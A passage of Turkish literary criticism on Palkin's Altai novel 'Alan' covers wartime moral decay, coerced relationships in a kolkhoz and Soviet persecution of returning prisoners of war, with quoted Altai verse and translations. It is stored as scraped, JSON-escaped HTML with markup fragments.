bir\u00e7o\u011fu kocalar\u0131n\u0131 En\u00e7inov\u2019un \u015fu \u015fiirindeki duygularla cepheye g\u00f6ndermi\u015ftir:<\/p>\n\n\n\n Ay kanattu \u015fo\u00f1kor\u0131m,<\/em> — Ay kanatl\u0131 do\u011fan\u0131m, Kocalar\u0131 cephede olan kad\u0131nlar\u0131 kendileriyle birlikte olmaya zorlayanlardan biri de kolhoz ba\u015fkan\u0131 Tant\u0131barov\u2019dur. Tant\u0131barov\u2019un kolhozdaki kad\u0131nlara yapt\u0131klar\u0131n\u0131 ihtiyar Arta\u015f onun y\u00fcz\u00fcne do\u011fru ba\u011f\u0131rarak \u015f\u00f6yle der:<\/p>\n\n\n\n Cer-altayd\u0131\u00f1 t\u00fcbine\u00f1 kelgen terbezen, sen k\u00f6p k\u00f6kibe. Udabas uuldar can\u0131p kelze, ol tu\u015fta baluu\u00f1 badar. Eri cok kad\u0131ttarga er bolup, kaj\u0131 la \u00fcy kijini baz\u0131n\u0131p, kork\u0131dala, koyn\u0131na kirip turgan\u0131\u00f1d\u0131 kiji bilpes pe. Cuu-\u00e7ak bolgon\u0131 sege m\u00f6r turu. Suras baldar\u0131\u00f1 emdi kaj\u0131 la kob\u0131-cikte bar emes pe? Sege tort lo c\u0131rgal bolboy kayts\u0131n, cala\u00f1 tul kad\u0131ttard\u0131\u00f1 ortoz\u0131nda ca\u00f1\u0131s sen er de!..<\/em> (31)<\/p>\n\n\n\n Altay\u2019\u0131n dibinden gelen mel\u2019un, sen \u00e7ok gururlanma. \u00c7ok ge\u00e7mez delikanl\u0131lar d\u00f6n\u00fcp geldi\u011finde yapt\u0131\u011f\u0131n k\u00f6t\u00fcl\u00fckler ortaya \u00e7\u0131kar. Kocas\u0131 olmayan kad\u0131nlara kocal\u0131k yapmaya kalk\u0131p, kad\u0131nlar\u0131 korkutarak koyunlar\u0131na girdi\u011fini insanlar bilmiyor mu san\u0131yorsun? Sava\u015f sana g\u00fcn do\u011fdurdu. Her vadide pi\u00e7lerin var, de\u011fil mi? Keyif \u00e7at\u0131p duruyorsun \u015fimdi. Dul kad\u0131nlar\u0131n ortas\u0131nda sen tek erkeksin ya!..<\/p>\n\n\n\n Y\u00f6neticiler veya sava\u015ftan yaralanarak d\u00f6nm\u00fc\u015f erkeklerle birlikte olan kad\u0131nlar\u0131n bir\u00e7o\u011fu \u00e7ocuk do\u011furur. Normal zamanlarda ay\u0131p say\u0131lan hatta t\u00f6relere kar\u015f\u0131 bir durum oldu\u011fu i\u00e7in su\u00e7lanmay\u0131 gerektirecek bu durum, kad\u0131nlar ba\u015fta olmak \u00fczere b\u00fct\u00fcn toplum taraf\u0131ndan kabullenilir olmu\u015ftur. Palkin, \u201csuras (pi\u00e7)\u201d \u00e7ocuklar\u0131n do\u011fmas\u0131n\u0131 romanda birka\u00e7 kez i\u015fler: Yak\u0131n bir k\u00f6ydeki d\u00fc\u011f\u00fcne kat\u0131lan Ek\u00e7ebey ile Alan burada misafir olduklar\u0131 evdeki \u00e7ocuklar\u0131n say\u0131lar\u0131n\u0131n fazlal\u0131\u011f\u0131na \u015fa\u015f\u0131r\u0131rlar. Bag\u0131r biraz da \u00f6fkeyle: – \u00c7ocuklar\u0131 herh\u00e2lde cephedeki erkekler mektupla g\u00f6nderdiler, der. Bunun \u00fczerine Ek\u00e7ebey, \u00e7ocuklar\u0131n annesi Karas\u2019a bu \u00e7ocuklar\u0131 nas\u0131l yapt\u0131\u011f\u0131n\u0131 sorar. O da, biraz \u00e7ekinip ama g\u00fcl\u00fcmseyerek alt\u0131 ayl\u0131k \u00e7ocu\u011funu emzirirken \u015f\u00f6yle cevap verir: \u201cOt bi\u00e7erken buldum onlar\u0131. Yapraklar\u0131n alt\u0131ndayd\u0131lar. Bunun \u00fczerine oradaki gen\u00e7 bir kad\u0131n \u015f\u00f6yle der: – \u015eimdi pi\u00e7 \u00e7ocu\u011fu olmayan var m\u0131 ki? Nas\u0131l \u00e7ocuk sahibi olunacak? \u2026 \u0130nsanlar sava\u015fa gittiler. Yeni d\u00fczen b\u00f6yle, herkes bir s\u0131navdan, bir eziyetten ge\u00e7ti.\u201d \u0130htiyar bir kad\u0131n ise s\u00f6z\u00fc \u015f\u00f6yle ba\u011flar: \u201cK\u00f6t\u00fc bir \u015fey yok, normal: Cerdi\u00f1 cak\u015f\u0131z\u0131 sas, erdi\u00f1 cak\u015f\u0131z\u0131 suras\u201d<\/em> (Yerin iyisi batakl\u0131k, erin iyisi pi\u00e7tir derler) (93-94). Romanda babas\u0131z \u00e7ocuklar\u0131n do\u011fmas\u0131 ilerleyen sayfalarda tekrar ele al\u0131n\u0131r. \u0130nsanlar otururken \u00f6nlerinden kuca\u011f\u0131nda bir \u00e7ocukla ge\u00e7en gen\u00e7 k\u0131z\u0131 g\u00f6r\u00fcnce i\u00e7lerinden biri \u015f\u00f6yle der: Suras balaz\u0131 cok kiji bar eme\u015f pe emdi?.. Cuu-\u00e7ak ta bolzo ulus c\u00fcrerge cat.<\/em> (\u015eimdi pi\u00e7 \u00e7ocuk sahibi olmayan m\u0131 var?.. Sava\u015f da olsa insanlar ya\u015famaya devam ediyor) (204). Hi\u00e7 ku\u015fkusuz Alan<\/em> roman\u0131, II. D\u00fcnya Sava\u015f\u0131 sonras\u0131ndaki Altay T\u00fcrklerinin ya\u015famlar\u0131n\u0131 Alan merkezli ortaya koymas\u0131 bak\u0131m\u0131ndan ger\u00e7ek\u00e7i bir eserdir. Eser, toplumun d\u00fc\u015ft\u00fc\u011f\u00fc ahlaki yozla\u015fmay\u0131 da ayn\u0131 ger\u00e7eklikle ele alm\u0131\u015ft\u0131r. Palkin, cepheden k\u00f6y\u00fcne d\u00f6nen bir gencin kendisine bir hayat kurma m\u00fccadelesinin etraf\u0131nda kar\u015f\u0131la\u015f\u0131lan sorunlar\u0131 cesur bir dille kaleme al\u0131r.<\/p>\n\n\n\n Bu durum, kocalar\u0131 sava\u015fta olan evli kad\u0131nlar\u0131n kocalar\u0131n\u0131n sava\u015ftan d\u00f6nmesiyle birlikte trajediye d\u00f6n\u00fc\u015f\u00fcr. Sava\u015f\u0131n ahlaki yozla\u015fmaya ba\u011fl\u0131 olarak ay\u0131rd\u0131\u011f\u0131 e\u015flerden biri Tar\u0131n ve Zoya\u2019d\u0131r. Tar\u0131n, Klara adl\u0131 k\u0131z\u0131 hen\u00fcz k\u00fc\u00e7\u00fckken cepheye g\u00f6nderilmi\u015ftir. Esas\u0131nda Palkin, bu \u00e7ift \u00f6rne\u011finde sava\u015f\u0131n par\u00e7alad\u0131\u011f\u0131 aileleri ele al\u0131r. Tar\u0131n cephedeyken birisi ona kar\u0131s\u0131 Zoya\u2019n\u0131n kendisini aldatt\u0131\u011f\u0131n\u0131 yazar. Bunun \u00fczerine Tar\u0131n, Zoya\u2019ya mektup yazmay\u0131 b\u0131rak\u0131r. Tar\u0131n\u2019dan mektup alamayan Zoya da onun \u00f6lm\u00fc\u015f olabilece\u011fi d\u00fc\u015f\u00fcncesine kap\u0131l\u0131r ve ya\u015fam \u015fartlar\u0131n\u0131 da kolayla\u015ft\u0131raca\u011f\u0131 i\u00e7in kolhoz ba\u015fkan\u0131 Tant\u0131barov ile birlikte olur. Tar\u0131n, sava\u015ftan d\u00f6ner. Tant\u0131barov kolhozda yapt\u0131\u011f\u0131 yolsuzluklardan dolay\u0131 hapse mahk\u00fbm olur. Tar\u0131n, Zoya ile ilk kar\u015f\u0131la\u015ft\u0131\u011f\u0131nda ger\u00e7ek bir \u00f6fke patlamas\u0131 ya\u015far:<\/p>\n\n\n\n Ce sen meni ne sak\u0131bagan? \u2013 dep, Tar\u0131n keneyte ebire sogup, Zoyaga k\u00f6rdi. \u2013 On\u0131 ayt mege. Ne bolgon? Neni\u00f1 u\u00e7un ca\u00f1\u0131s sen bu curtta ond\u0131y bol\u0131p kalgan?<\/em>Zoya un\u00e7ukpayt, kabag\u0131n t\u00fc\u00fcp, t\u00f6m\u00f6n k\u00f6r\u00fcp oturd\u0131.<\/em><\/p>\n\n\n\n On\u00e7o uluska uur bolgon, ca\u00f1\u0131s sege emes \u2013 dep, Tar\u0131n cart\u0131n bilerge albadanat. \u2013 Sene\u00f1 bolgoy balaz\u0131 cok to \u00fcy ulus \u00f6b\u00f6\u00f6nd\u00f6rin \u00e7\u00f6k\u00f6b\u00f6y sak\u0131gan. And\u0131y kelinder m\u0131nda tolt\u0131ra. Baya biske kirip c\u00fcrgen Cele\u00e7ini de k\u00f6r. Emdi \u00f6b\u00f6\u00f6ni \u00f6l\u00fcp kalarda, arga-cokto \u0131ylap-s\u0131ktap baz\u0131p c\u00fcr\u00fc. Sen de deze bala bar bolgon, on\u0131\u00f1 da u\u00e7un kiji c\u00fcrbes pe, ono\u00f1 do kiji uyalbas pa? Neni\u00f1 u\u00e7un menin curt\u0131mda m\u0131nd\u0131y bolup kalgan? Ne camand\u0131 etkem men?! Neni\u00f1 u\u00e7un menin c\u00fcr\u00fcm\u00fcm m\u0131nd\u0131y?!<\/em> (308)<\/p>\n\n\n\n Sen beni ni\u00e7in beklemedin? diye, Tar\u0131n aniden d\u00f6n\u00fcp Zoya\u2019ya bakt\u0131. \u2013 Onu s\u00f6yle bana. Ne oldu? Ni\u00e7in bu k\u00f6yde yaln\u0131zca sen b\u00f6yle davrand\u0131n?<\/p>\n\n\n\n Zoya ses \u00e7\u0131karmad\u0131, ka\u015flar\u0131n\u0131 \u00e7at\u0131p, yere bakt\u0131.<\/p>\n\n\n\n Herkese a\u011f\u0131r oldu, yaln\u0131z sana de\u011fil, diye Tar\u0131n b\u00fct\u00fcn ger\u00e7ekleri bilircesine konu\u015ftu. \u2013 Senden ba\u015fka \u00e7ocu\u011fu olmayan kad\u0131nlar sab\u0131rla e\u015flerini beklediler. B\u00f6yle gelinlerden burada \u00e7ok. Biraz \u00f6nce bize gelen Cele\u00e7i\u2019ye bak. \u015eimdi kocas\u0131 \u00f6ld\u00fc\u011f\u00fc i\u00e7in \u00e7aresizlik i\u00e7inde a\u011flay\u0131p duruyor. Seninse \u00e7ocu\u011fun vard\u0131. \u0130nsan bunun i\u00e7in sabretmez mi, hi\u00e7 de\u011filse bundan utanmaz m\u0131? Ni\u00e7in benim evimde b\u00f6yle oldu? Ben kime, ne k\u00f6t\u00fcl\u00fck yapt\u0131m? Ni\u00e7in benim hayat\u0131m b\u00f6yle?<\/p>\n\n\n\n Nihayet, Tant\u0131barov hapishaneye at\u0131ld\u0131ktan sonra Tar\u0131n ve Zoya bar\u0131\u015f\u0131rlar. Sava\u015f toplumsal yap\u0131da \u00e7\u00fcr\u00fcmelere yol a\u00e7m\u0131\u015f, geleneksel kabuller ve ili\u015fkilerin ge\u00e7erlili\u011fini yitirmesine sebep olmu\u015ftur. Palkin romanda kahramanlar\u0131n\u0131, toplumu ve devlet yap\u0131s\u0131n\u0131n tek temsilcisi olan K\u0131z\u0131l \u00c7olmon kolhozunu do\u011fru yola sokar.<\/p>\n\n\n\n Kitapta sava\u015f d\u00f6nemi ve sonras\u0131ndaki hayat, \u00e7e\u015fitli y\u00f6nleriyle ele al\u0131nmakla birlikte sava\u015f sonras\u0131 devletin uygulad\u0131\u011f\u0131 politikalar da bunlar\u0131n hayata yans\u0131malar\u0131 da zaman zaman i\u015flenir. Stalin\u2019in sava\u015f esirlerine uygulad\u0131\u011f\u0131 olumsuz politikalar da romanda yazar\u0131n ele ald\u0131\u011f\u0131 konulardan biridir. Bunlardan biri, Almanlara esir d\u00fc\u015fen Sovyet askerlerine y\u00f6nelik su\u00e7lamalard\u0131r. Alman verilerine g\u00f6re, Haziran 1941 ile Ocak 1942 aras\u0131nda, g\u00fcnde ortalama 6.000 sava\u015f esiri \u00f6lm\u00fc\u015f; i\u015fgal alt\u0131ndaki Polonya topraklar\u0131nda bulunan kamplarda bulunan 310 bin mahk\u00fbmun %85\u2019i 19 \u015eubat 1942\u2019ye kadar \u00f6lm\u00fc\u015ft\u00fcr. Bat\u0131l\u0131 ara\u015ft\u0131rmac\u0131lara g\u00f6re, \u0130kinci D\u00fcnya Sava\u015f\u0131 s\u0131ras\u0131nda yakla\u015f\u0131k 5 milyon K\u0131z\u0131l Ordu askeri esir al\u0131nm\u0131\u015f, bunlar\u0131n yine yakla\u015f\u0131k %60\u2019\u0131, yani 3 milyonu \u00f6lm\u00fc\u015ft\u00fcr. Rus tarih\u00e7ilerine g\u00f6re, sava\u015f s\u0131ras\u0131nda Almanlar, ele ge\u00e7irdikleri Sovyet askerlerinin %57\u2019sini yok etmi\u015ftir. Alman Silahl\u0131 Kuvvetleri, yakalanan 3.576.300 esirden 442.100\u2019\u00fcn\u00fcn (%12\u2019sinin) esaret alt\u0131nda \u00f6ld\u00fc\u011f\u00fcne dair bilgiler vermi\u015ftir.[9<\/a>] Kaynaklarda rakamlar \u00e7eli\u015fkili verilmektedir. Buna ra\u011fmen denilebilir ki 4 ila 6 milyon aras\u0131ndaki Sovyet askeri Almanlara esir d\u00fc\u015fm\u00fc\u015f, bunlar\u0131n da yakla\u015f\u0131k \u00fc\u00e7te ikisi esarette \u00f6lm\u00fc\u015ft\u00fcr. Esaretten kurtulabilenler bu defa Sovyetler taraf\u0131ndan asker ka\u00e7a\u011f\u0131 ve vatan haini su\u00e7lamalar\u0131na maruz kalm\u0131\u015flard\u0131r. K\u0131z\u0131lordu\u2019dan Almanlara esir d\u00fc\u015fenler aras\u0131nda elbette Altay T\u00fcrkleri de mevcuttur. Roman\u0131n i\u015fledi\u011fi konular aras\u0131nda bu esir askerlerin durumlar\u0131 da vard\u0131r.<\/p>\n\n\n\n Bilindi\u011fi \u00fczere SSCB, II. D\u00fcnya Sava\u015f\u0131\u2019nda Almanlara esir d\u00fc\u015fen askerlerini vatana ihanet etmekle su\u00e7lam\u0131\u015f, onlar\u0131 yarg\u0131lam\u0131\u015f ve bir\u00e7o\u011funu mahk\u00fbm etmi\u015ftir. B\u00fct\u00fcn bunlar da 16 A\u011fustos 1941 tarih ve 270 no\u2019lu K\u0131z\u0131l Ordu Y\u00fcksek Komutanl\u0131k Kararg\u00e2h\u0131\u2019n\u0131n \u201cAsker\u00ee Personelin Korkakl\u0131k, D\u00fc\u015fmana Silah Teslim Etme ve Silah B\u0131rakma Sorumlulu\u011funa \u0130li\u015fkin Kararname<\/em>\u201d uyar\u0131nca uygulanm\u0131\u015ft\u0131r. Zira bu kararnameye g\u00f6re teslim olan veya esir d\u00fc\u015fenler, asker ka\u00e7a\u011f\u0131 olarak kabul edilmi\u015flerdir. Bu durum, kitapta cepheden Altay\u2019a d\u00f6nen Can\u00e7\u0131k ve Tar\u0131n \u00fczerinden anlat\u0131l\u0131r: Altay\u2019a gelen bir sinema g\u00f6steriminde Almanlar\u0131n esir ald\u0131klar\u0131 Rus askerlerine yapt\u0131klar\u0131 i\u015fkenceler g\u00f6sterilir. Herkesle birlikte filmi izleyen ve cepheden yeni d\u00f6nm\u00fc\u015f olan Can\u00e7\u0131k kendisinin de Almanlara esir d\u00fc\u015ft\u00fc\u011f\u00fcn\u00fc, yap\u0131lan b\u00fct\u00fcn i\u015fkencelere ra\u011fmen Altay\u2019\u0131n ta\u015f\u0131 kadar sessiz kal\u0131p konu\u015fmad\u0131\u011f\u0131n\u0131, kendisini bekleyen Alman askerini yere y\u0131k\u0131p elinden silah\u0131n\u0131 alarak ka\u00e7t\u0131\u011f\u0131n\u0131, bazen s\u00fcr\u00fcn\u00fcp bazen de sularda y\u00fczerek Moskava\u2019ya ula\u015ft\u0131\u011f\u0131n\u0131 anlat\u0131r. Onun bu s\u00f6zleri b\u00f6lge y\u00f6netim ba\u015fkan\u0131 Tant\u0131barov\u2019a ula\u015f\u0131nca Can\u00e7\u0131k\u2019\u0131n bu durumunun devlete bildirilmesi gerekti\u011fi kendisine s\u00f6ylenir. Can\u00e7\u0131k, devletin esaretten d\u00f6nenlere vatan haini su\u00e7lamas\u0131 yapt\u0131\u011f\u0131n\u0131 bildi\u011fi i\u00e7in b\u00fcy\u00fck bir korkuya kap\u0131l\u0131r. B\u00fct\u00fcn evraklar\u0131n\u0131 g\u00f6stererek b\u00f6yle bir durumun ya\u015fanmad\u0131\u011f\u0131n\u0131, yalan s\u00f6yledi\u011fini ispata \u00e7al\u0131\u015f\u0131r.<\/p>\n\n\n\n Sava\u015f esirleriyle ilgili as\u0131l durum ve sava\u015ftan d\u00f6nenlerin ruh h\u00e2li, roman\u0131n ilerleyen b\u00f6l\u00fcmlerinde Almanlara esir d\u00fc\u015ft\u00fckten sonra yurduna d\u00f6nen Tar\u0131n \u00fczerinden anlat\u0131l\u0131r. Tar\u0131n\u2019\u0131n e\u015fi Zoya baz\u0131 gerekli malzemeleri almak i\u00e7in taygadan k\u00f6ye indi\u011finde kaynanas\u0131na Tar\u0131n\u2019\u0131n esir d\u00fc\u015ft\u00fc\u011f\u00fc i\u00e7in tutukland\u0131\u011f\u0131n\u0131 ve bu y\u00fczden k\u00f6ye d\u00f6nemedi\u011fini s\u00f6yler. Zoya hakl\u0131d\u0131r: Tar\u0131n, sava\u015fta yaralan\u0131p esir d\u00fc\u015f\u00fcnce tutukland\u0131\u011f\u0131ndan ancak y\u0131llar sonra Altay\u2019a d\u00f6nebilir. Bu y\u00fczden \u015fapkas\u0131nda k\u0131z\u0131l y\u0131ld\u0131z yoktur. K\u00fc\u00e7\u00fck k\u0131z\u0131 Klara sava\u015ftan d\u00f6nenlerin tamam\u0131n\u0131n \u015fapkas\u0131nda k\u0131z\u0131l y\u0131ld\u0131z oldu\u011fu h\u00e2lde onun \u015fapkas\u0131nda ni\u00e7in olmad\u0131\u011f\u0131n\u0131 sorunca Tar\u0131n utan\u0131r. Ya\u015fad\u0131\u011f\u0131 durumu annesine kar\u015f\u0131 \u015f\u00f6yle ifade eder:<\/p>\n\n\n\n Men emdi kemge kerek baza? T\u00fcrmede c\u00fcrgen kijide\u00f1 ulus ca\u00f1\u0131s la ka\u00e7ar ne! Meni\u00f1 \u015f\u0131ram, menin k\u0131y\u0131n\u0131m \u2013 menin boy\u0131mn\u0131\u00f1 la a\u00e7u-koron\u0131m! \u2013 dep, Tar\u0131n koldor\u0131 t\u0131rk\u0131raj\u0131p, \u00e7aaz\u0131nga mahorka oroyt<\/em> (214).<\/p>\n\n\n\n Ben \u015fimdi kimin i\u00e7in gerekliyim? Hapishaneye d\u00fc\u015fenlerden herkes ka\u00e7\u0131yor. Benim yaram, benim eziyetim, benim zehirli kaderim, diye Tar\u0131n, elleri titreyerek k\u00e2\u011f\u0131da t\u00fct\u00fcn sard\u0131.<\/p>\n\n\n\n Klara\u2019n\u0131n babas\u0131n\u0131n \u015fapkas\u0131nda y\u0131ld\u0131z olmad\u0131\u011f\u0131n\u0131 g\u00f6r\u00fcnce \u015fa\u015f\u0131rmas\u0131, sava\u015fta Almanlara esir d\u00fc\u015f\u00fcp de \u201cvatan haini\u201d su\u00e7lamas\u0131yla yarg\u0131lan\u0131p cezalar\u0131n\u0131 \u00e7ektikten sonra yurtlar\u0131na d\u00f6nenlerin \u00e7ocuklar\u0131n\u0131n ya da ye\u011fenlerinin ya\u015fad\u0131klar\u0131 ortak bir duygudur.<\/p>\n\n\n\n
<\/a><\/figure>\n\n\n\n
<\/a><\/figure>\n\n\n\n
<\/a><\/figure>\n\n\n\n
<\/a><\/figure>\n\n\n\n
<\/a><\/figure>\n\n\n\n
Kayra\u00f1 balam \u00f6l\u00f6ri\u00f1,<\/em> — Nazl\u0131 yavrum \u00f6l\u00fcrs\u00fcn.
Kar\u0131ks\u0131ngan men boy\u0131m<\/em> — Bense keder ve \u00f6zlemle
Al sag\u0131\u015ftan \u00f6l\u00f6rim,<\/em> — Derin d\u00fc\u015f\u00fcnceden \u00f6l\u00fcr\u00fcm,
O, caynay\u0131n, K\u00f6ziyim.<\/em> — Oh, yalvar\u0131yorum, K\u00f6z\u00fcyke\u2019m.<\/p>\n\n\n\n
\u00d6\u015ft\u00fcge kilebes katu bol!<\/em> — Sert ol, d\u00fc\u015fmana ac\u0131ma!
Altay-Buu\u00e7ay baat\u0131rd\u0131y,<\/em> — Altay-Buu\u00e7ay bahad\u0131r gibi,
\u00d6lb\u00f6s m\u00f6\u00f1k\u00fc iydel\u00fc bol!<\/em> — \u00d6l\u00fcms\u00fcz, ebed\u00ee ve g\u00fc\u00e7l\u00fc ol!<\/p>\n\n\n\n
Cuu\u00e7\u0131l ogum bar emey!<\/em> — Sava\u015f\u00e7\u0131 okum var de\u011fil mi?
Kaz\u0131r caman kaan bolzo,<\/em> — \u00d6fkeli, k\u00f6t\u00fc ka\u011fan ise,
Er ergegim meni\u00f1 kayda?<\/em> — Sa\u011flam parma\u011f\u0131m nerede?
Kalaptu k\u00fc\u00e7t\u00fc er bolzo,<\/em> — Heybetli, g\u00fc\u00e7l\u00fc er ise,
Er b\u00fctken k\u00fc\u00e7im kayda?<\/em> — Er yarat\u0131l\u0131\u015fl\u0131 g\u00fcc\u00fcm nerede?
Oy, eneyim, eneyim,<\/em> — Oy, anac\u0131\u011f\u0131m, anac\u0131\u011f\u0131m,
Olordo\u00f1 men kork\u0131bayd\u0131m.<\/em> — Onlardan ben korkmuyorum (Ku\u00e7iyak, 1967: 78).<\/p>\n\n\n\n
Kayda u\u00e7up barad\u0131\u00f1?<\/em> — U\u00e7up nereye gidiyorsun?
Aydar menin s\u00f6zimdi<\/em> — Beni s\u00f6zlerimi
Kaya k\u00f6r\u00fcp t\u0131\u00f1daza\u00f1.<\/em> — Dikkatle dinlesen.
Cuu\u00e7\u0131l menin \u015fo\u00f1kor\u0131m,<\/em> — Benim sava\u015f\u00e7\u0131 do\u011fan\u0131m,
Cuu cerine sen u\u00e7san,<\/em> — Sen sava\u015f yerine u\u00e7san,
Anda c\u00fcrgen ejime<\/em> — Oradaki e\u015fime
Bu s\u00f6st\u00f6rim cetirze\u00f1<\/em> — Bu s\u00f6zlerimi ula\u015ft\u0131rsan (En\u00e7inov, 1984: 6).<\/p>\n\n\n\n
<\/a><\/figure>\n\n\n\n